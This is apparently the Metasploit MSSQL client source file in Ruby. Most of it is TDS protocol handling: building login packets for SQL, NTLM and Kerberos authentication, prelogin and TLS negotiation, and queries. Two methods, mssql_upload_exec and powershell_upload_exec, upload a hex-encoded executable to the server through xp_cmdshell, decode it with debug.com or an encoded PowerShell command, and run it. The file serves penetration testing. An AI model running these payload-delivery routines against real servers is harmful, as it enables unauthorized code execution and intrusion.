Path: blob/master/lib/rex/proto/mssql/client.rb
19778 views
require 'metasploit/framework/tcp/client'1require 'metasploit/framework/mssql/tdssslproxy'2require 'rex/proto/mssql/client_mixin'3require 'rex/text'4require 'msf/core/exploit'5require 'msf/core/exploit/remote'67module Rex8module Proto9module MSSQL10class Client11include Metasploit::Framework::Tcp::Client12include Rex::Proto::MSSQL::ClientMixin13include Rex::Text14include Msf::Exploit::Remote::MSSQL_COMMANDS15include Msf::Exploit::Remote::Udp16include Msf::Exploit::Remote::NTLM::Client17include Msf::Exploit::Remote::Kerberos::Ticket::Storage18include Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Options1920attr_accessor :tdsencryption21attr_accessor :sock22attr_accessor :auth23attr_accessor :ssl24attr_accessor :ssl_version25attr_accessor :ssl_verify_mode26attr_accessor :ssl_cipher27# @!attribute sslkeylogfile28# @return [String] The SSL key log file path29attr_accessor :sslkeylogfile30attr_accessor :proxies31attr_accessor :connection_timeout32attr_accessor :send_lm33attr_accessor :send_ntlm34attr_accessor :send_spn35attr_accessor :use_lmkey36attr_accessor :use_ntlm2_session37attr_accessor :use_ntlmv238attr_accessor :windows_authentication39attr_reader :framework_module40attr_reader :framework41# @!attribute max_send_size42# @return [Integer] The max size of the data to encapsulate in a single packet43attr_accessor :max_send_size44# @!attribute send_delay45# @return [Integer] The delay between sending packets46attr_accessor :send_delay47# @!attribute initial_connection_info48# @return [Hash] Key-value pairs received from the server during the initial MSSQL connection.49# See the spec here: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/b46a581a-39de-4745-b076-ec4dbb7d13ec50attr_accessor :initial_connection_info51# @!attribute current_database52# @return [String] The database name this client is currently connected to.53attr_accessor :current_database5455def initialize(framework_module, framework, rhost, rport = 1433, proxies = nil, sslkeylogfile: nil)56@framework_module = framework_module57@framework = framework58@connection_timeout = framework_module.datastore['ConnectTimeout'] || 3059@max_send_size = framework_module.datastore['TCP::max_send_size'] || 060@send_delay = framework_module.datastore['TCP::send_delay'] || 06162@auth = framework_module.datastore['Mssql::Auth'] || Msf::Exploit::Remote::AuthOption::AUTO63@hostname = framework_module.datastore['Mssql::Rhostname'] || ''6465@windows_authentication = framework_module.datastore['USE_WINDOWS_AUTHENT'] || false66@tdsencryption = framework_module.datastore['TDSENCRYPTION'] || false67@hex2binary = framework_module.datastore['HEX2BINARY'] || ''6869@domain_controller_rhost = framework_module.datastore['DomainControllerRhost'] || ''70@rhost = rhost71@rport = rport72@proxies = proxies73@sslkeylogfile = sslkeylogfile74@current_database = ''75end7677# MS SQL Server only supports Windows and Linux78def map_compile_os_to_platform(server_info)79return '' if server_info.blank?8081os_data = server_info.downcase.encode(::Encoding::BINARY)8283if os_data.match?('linux')84platform = Msf::Platform::Linux.realname85elsif os_data.match?('windows')86platform = Msf::Platform::Windows.realname87elsif os_data.match?('win')88platform = Msf::Platform::Windows.realname89else90platform = os_data91end92platform93end9495# MS SQL Server currently only supports 64 bit but older installs may be x8696def map_compile_arch_to_architecture(server_info)97return '' if server_info.blank?9899arch_data = server_info.downcase.encode(::Encoding::BINARY)100101if arch_data.match?('x64')102arch = ARCH_X86_64103elsif arch_data.match?('x86')104arch = ARCH_X86105elsif arch_data.match?('64')106arch = ARCH_X86_64107elsif arch_data.match?('32-bit')108arch = ARCH_X86109else110arch = arch_data111end112arch113end114115# @return [Hash] Detect the platform and architecture of the MSSQL server:116# * :arch [String] The server architecture.117# * :platform [String] The server platform.118def detect_platform_and_arch119result = {}120121version_string = query('select @@version')[:rows][0][0]122arch = version_string[/\b\d+\.\d+\.\d+\.\d+\s\(([^)]*)\)/, 1] || version_string123plat = version_string[/\bon\b\s+(\w+)/, 1] || version_string124125result[:arch] = map_compile_arch_to_architecture(arch)126result[:platform] = map_compile_os_to_platform(plat)127result128end129130#131# This method connects to the server over TCP and attempts132# to authenticate with the supplied username and password133# The global socket is used and left connected after auth134#135136def mssql_login(user='sa', pass='', db='', domain_name='')137prelogin_data = mssql_prelogin138if auth == Msf::Exploit::Remote::AuthOption::KERBEROS139idx = 0140pkt = ''141pkt_hdr = ''142pkt_hdr = [143TYPE_TDS7_LOGIN, #type144STATUS_END_OF_MESSAGE, #status1450x0000, #length1460x0000, # SPID1470x01, # PacketID (unused upon specification148# but ms network monitor still prefer 1 to decode correctly, wireshark don't care)1490x00 #Window150]151152pkt << [1530x00000000, # Size1540x71000001, # TDS Version1550x00000000, # Dummy Size1560x00000007, # Version157rand(1024+1), # PID1580x00000000, # ConnectionID1590xe0, # Option Flags 11600x83, # Option Flags 21610x00, # SQL Type Flags1620x00, # Reserved Flags1630x00000000, # Time Zone1640x00000000 # Collation165].pack('VVVVVVCCCCVV')166167cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )168aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name169sname = Rex::Text.to_unicode( rhost )170framework_module.fail_with(Msf::Exploit::Failure::BadConfig, 'The Mssql::Rhostname option is required when using kerberos authentication.') if @hostname.blank?171kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::MSSQL.new(172host: @domain_controller_rhost,173hostname: @hostname,174mssql_port: rport,175proxies: proxies,176realm: domain_name,177username: user,178password: pass,179framework: framework,180framework_module: framework_module,181ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::WriteOnly.new(framework: framework, framework_module: framework_module)182)183184kerberos_result = kerberos_authenticator.authenticate185ssp_security_blob = kerberos_result[:security_blob]186187idx = pkt.size + 50 # lengths below188189pkt << [idx, cname.length / 2].pack('vv')190idx += cname.length191192pkt << [0, 0].pack('vv') # User length offset must be 0193pkt << [0, 0].pack('vv') # Password length offset must be 0194195pkt << [idx, aname.length / 2].pack('vv')196idx += aname.length197198pkt << [idx, sname.length / 2].pack('vv')199idx += sname.length200201pkt << [0, 0].pack('vv') # unused202203pkt << [idx, aname.length / 2].pack('vv')204idx += aname.length205206pkt << [idx, 0].pack('vv') # locales207208pkt << [idx, 0].pack('vv') #db209210# ClientID (should be mac address)211pkt << Rex::Text.rand_text(6)212213# SSP214pkt << [idx, ssp_security_blob.length].pack('vv')215idx += ssp_security_blob.length216217pkt << [idx, 0].pack('vv') # AtchDBFile218219pkt << cname220pkt << aname221pkt << sname222pkt << aname223pkt << ssp_security_blob224225# Total packet length226pkt[0, 4] = [pkt.length].pack('V')227228pkt_hdr[2] = pkt.length + 8229230pkt = pkt_hdr.pack("CCnnCC") + pkt231232# Rem : One have to set check_status to false here because sql server sp0 (and maybe above)233# has a strange behavior that differs from the specifications234# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header235# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification236resp = mssql_send_recv(pkt, 15, false)237238info = {:errors => []}239info = mssql_parse_reply(resp, info)240self.initial_connection_info = info241self.initial_connection_info[:prelogin_data] = prelogin_data242243return false if not info244return info[:login_ack] ? true : false245elsif auth == Msf::Exploit::Remote::AuthOption::NTLM || windows_authentication246idx = 0247pkt = ''248pkt_hdr = ''249pkt_hdr = [250TYPE_TDS7_LOGIN, #type251STATUS_END_OF_MESSAGE, #status2520x0000, #length2530x0000, # SPID2540x01, # PacketID (unused upon specification255# but ms network monitor still prefer 1 to decode correctly, wireshark don't care)2560x00 #Window257]258259pkt << [2600x00000000, # Size2610x71000001, # TDS Version2620x00000000, # Dummy Size2630x00000007, # Version264rand(1024+1), # PID2650x00000000, # ConnectionID2660xe0, # Option Flags 12670x83, # Option Flags 22680x00, # SQL Type Flags2690x00, # Reserved Flags2700x00000000, # Time Zone2710x00000000 # Collation272].pack('VVVVVVCCCCVV')273274cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )275aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name276sname = Rex::Text.to_unicode( rhost )277dname = Rex::Text.to_unicode( db )278279workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)280281ntlm_client = ::Net::NTLM::Client.new(282user,283pass,284workstation: workstation_name,285domain: domain_name,286)287type1 = ntlm_client.init_context288# SQL 2012, at least, does not support KEY_EXCHANGE289type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]290ntlmsspblob = type1.serialize291292idx = pkt.size + 50 # lengths below293294pkt << [idx, cname.length / 2].pack('vv')295idx += cname.length296297pkt << [0, 0].pack('vv') # User length offset must be 0298pkt << [0, 0].pack('vv') # Password length offset must be 0299300pkt << [idx, aname.length / 2].pack('vv')301idx += aname.length302303pkt << [idx, sname.length / 2].pack('vv')304idx += sname.length305306pkt << [0, 0].pack('vv') # unused307308pkt << [idx, aname.length / 2].pack('vv')309idx += aname.length310311pkt << [idx, 0].pack('vv') # locales312313pkt << [idx, 0].pack('vv') #db314315# ClientID (should be mac address)316pkt << Rex::Text.rand_text(6)317318# NTLMSSP319pkt << [idx, ntlmsspblob.length].pack('vv')320idx += ntlmsspblob.length321322pkt << [idx, 0].pack('vv') # AtchDBFile323324pkt << cname325pkt << aname326pkt << sname327pkt << aname328pkt << ntlmsspblob329330# Total packet length331pkt[0, 4] = [pkt.length].pack('V')332333pkt_hdr[2] = pkt.length + 8334335pkt = pkt_hdr.pack("CCnnCC") + pkt336337# Rem : One have to set check_status to false here because sql server sp0 (and maybe above)338# has a strange behavior that differs from the specifications339# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header340# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification341if tdsencryption == true342proxy = TDSSSLProxy.new(sock, sslkeylogfile: sslkeylogfile)343proxy.setup_ssl344resp = proxy.send_recv(pkt)345else346resp = mssql_send_recv(pkt, 15, false)347end348349# Strip the TDS header350resp = resp[3..-1]351type3 = ntlm_client.init_context([resp].pack('m'))352type3_blob = type3.serialize353354# Create an SSPIMessage355idx = 0356pkt = ''357pkt_hdr = ''358pkt_hdr = [359TYPE_SSPI_MESSAGE, #type360STATUS_END_OF_MESSAGE, #status3610x0000, #length3620x0000, # SPID3630x01, # PacketID3640x00 #Window365]366367pkt_hdr[2] = type3_blob.length + 8368369pkt = pkt_hdr.pack("CCnnCC") + type3_blob370371if self.tdsencryption == true372resp = mssql_ssl_send_recv(pkt, proxy)373proxy.cleanup374proxy = nil375else376resp = mssql_send_recv(pkt)377end378379#SQL Server Authentication380else381idx = 0382pkt = ''383pkt << [3840x00000000, # Dummy size3853860x71000001, # TDS Version3870x00000000, # Size3880x00000007, # Version389rand(1024+1), # PID3900x00000000, # ConnectionID3910xe0, # Option Flags 13920x03, # Option Flags 23930x00, # SQL Type Flags3940x00, # Reserved Flags3950x00000000, # Time Zone3960x00000000 # Collation397].pack('VVVVVVCCCCVV')398399400cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )401uname = Rex::Text.to_unicode( user )402pname = mssql_tds_encrypt( pass )403aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )404sname = Rex::Text.to_unicode( rhost )405dname = Rex::Text.to_unicode( db )406407idx = pkt.size + 50 # lengths below408409pkt << [idx, cname.length / 2].pack('vv')410idx += cname.length411412pkt << [idx, uname.length / 2].pack('vv')413idx += uname.length414415pkt << [idx, pname.length / 2].pack('vv')416idx += pname.length417418pkt << [idx, aname.length / 2].pack('vv')419idx += aname.length420421pkt << [idx, sname.length / 2].pack('vv')422idx += sname.length423424pkt << [0, 0].pack('vv')425426pkt << [idx, aname.length / 2].pack('vv')427idx += aname.length428429pkt << [idx, 0].pack('vv')430431pkt << [idx, dname.length / 2].pack('vv')432idx += dname.length433434# The total length has to be embedded twice more here435pkt << [4360,4370,4380x12345678,4390x12345678440].pack('vVVV')441442pkt << cname443pkt << uname444pkt << pname445pkt << aname446pkt << sname447pkt << aname448pkt << dname449450# Total packet length451pkt[0, 4] = [pkt.length].pack('V')452453# Embedded packet lengths454pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2455456# Packet header and total length including header457pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt458459if self.tdsencryption == true460proxy = TDSSSLProxy.new(sock, sslkeylogfile: sslkeylogfile)461proxy.setup_ssl462resp = mssql_ssl_send_recv(pkt, proxy)463proxy.cleanup464proxy = nil465else466resp = mssql_send_recv(pkt)467end468469end470471info = {:errors => []}472info = mssql_parse_reply(resp, info)473self.initial_connection_info = info474self.initial_connection_info[:prelogin_data] = prelogin_data475476return false if not info477info[:login_ack] ? true : false478end479480#481#this method send a prelogin packet and check if encryption is off482#483def mssql_prelogin(enc_error=false)484disconnect if self.sock485connect486487pkt = mssql_prelogin_packet488489resp = mssql_send_recv(pkt)490491idx = 0492data = parse_prelogin_response(resp)493494unless data[:encryption]495framework_module.print_error("Unable to parse encryption req " \496"during pre-login, this may not be a MSSQL server")497data[:encryption] = ENCRYPT_NOT_SUP498end499500##########################################################501# Our initial prelogin pkt above said we didnt support502# encryption (it's quicker and the default).503#504# Per the matrix on the following link, SQL Server will505# terminate the connection if it does require TLS,506# otherwise it will accept an unencrypted session. As507# part of this initial response packet, it also returns508# ENCRYPT_REQ.509#510# https://msdn.microsoft.com\511# /en-us/library/ee320519(v=sql.105).aspx512#513##########################################################514515if data[:encryption] == ENCRYPT_REQ516# restart prelogin process except that we tell SQL Server517# than we are now able to encrypt518disconnect if self.sock519connect520521# offset 35 is the flag - turn it on522pkt[35] = [ENCRYPT_ON].pack('C')523self.tdsencryption = true524framework_module.print_status("TLS encryption has " \525"been enabled based on server response.")526527resp = mssql_send_recv(pkt)528data = parse_prelogin_response(resp)529530unless data[:encryption]531framework_module.print_error("Unable to parse encryption req " \532"during pre-login, this may not be a MSSQL server")533data[:encryption] = ENCRYPT_NOT_SUP534end535end536data537end538539def mssql_ssl_send_recv(req, tdsproxy, timeout=15, check_status=true)540tdsproxy.send_recv(req)541end542543def query(sqla, doprint=false, opts={})544info = { :sql => sqla }545opts[:timeout] ||= 15546pkts = []547idx = 0548549bsize = 4096 - 8550chan = 0551552@cnt ||= 0553@cnt += 1554555sql = Rex::Text.to_unicode(sqla)556while(idx < sql.length)557buf = sql[idx, bsize]558flg = buf.length < bsize ? "\x01" : "\x00"559pkts << "\x01" + flg + [buf.length + 8].pack('n') + [chan].pack('n') + [@cnt].pack('C') + "\x00" + buf560idx += bsize561562end563564resp = mssql_send_recv(pkts.join, opts[:timeout])565mssql_parse_reply(resp, info)566mssql_print_reply(info) if doprint567info568end569570def mssql_upload_exec(exe, debug=false)571hex = exe.unpack("H*")[0]572573var_bypass = Rex::Text.rand_text_alpha(8)574var_payload = Rex::Text.rand_text_alpha(8)575576print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")577print_status("Writing the debug.com loader to the disk...")578h2b = File.read(@hex2binary, File.size(@hex2binary))579h2b.gsub!('KemneE3N', "%TEMP%\\#{var_bypass}")580h2b.split("\n").each do |line|581mssql_xpcmdshell("#{line}", false)582end583584print_status("Converting the debug script to an executable...")585mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)586mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)587588print_status("Uploading the payload, please be patient...")589idx = 0590cnt = 500591while(idx < hex.length - 1)592mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)593idx += cnt594end595596print_status("Converting the encoded payload...")597mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)598mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)599mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)600601print_status("Executing the payload...")602mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})603end604605def powershell_upload_exec(exe, debug=false)606# hex converter607hex = exe.unpack("H*")[0]608# create random alpha 8 character names609#var_bypass = rand_text_alpha(8)610var_payload = rand_text_alpha(8)611print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")612# our payload converter, grabs a hex file and converts it to binary for us through powershell613h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"614h2b_unicode=Rex::Text.to_unicode(h2b)615# base64 encode it, this allows us to perform execution through powershell without registry changes616h2b_encoded = Rex::Text.encode_base64(h2b_unicode)617print_status("Uploading the payload #{var_payload}, please be patient...")618idx = 0619cnt = 500620while(idx < hex.length - 1)621mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)622idx += cnt623end624print_status("Converting the payload utilizing PowerShell EncodedCommand...")625mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)626mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)627print_status("Executing the payload...")628mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})629print_status("Be sure to cleanup #{var_payload}.exe...")630end631632# @param [ENVCHANGE] envchange The ENVCHANGE type to get the information for.633# @return [Hash] Returns a hash of values if the provided type exists.634# @return [Hash] Returns the whole connection info if envchange is nil.635# @return [Hash] Returns an empty hash if the provided type is not present.636def initial_info_for_envchange(envchange: nil)637return self.initial_connection_info if envchange.nil?638return nil unless (self.initial_connection_info && self.initial_connection_info.is_a?(::Hash))639640self.initial_connection_info[:envs]&.select { |hash| hash[:type] == envchange }&.first || {}641end642643def peerhost644rhost645end646647def peerport648rport649end650651def peerinfo652"#{peerhost}:#{peerport}"653end654655protected656657def rhost658@rhost659end660661def rport662@rport663end664665def chost666return nil667end668669def cport670return nil671end672end673674end675end676end677678679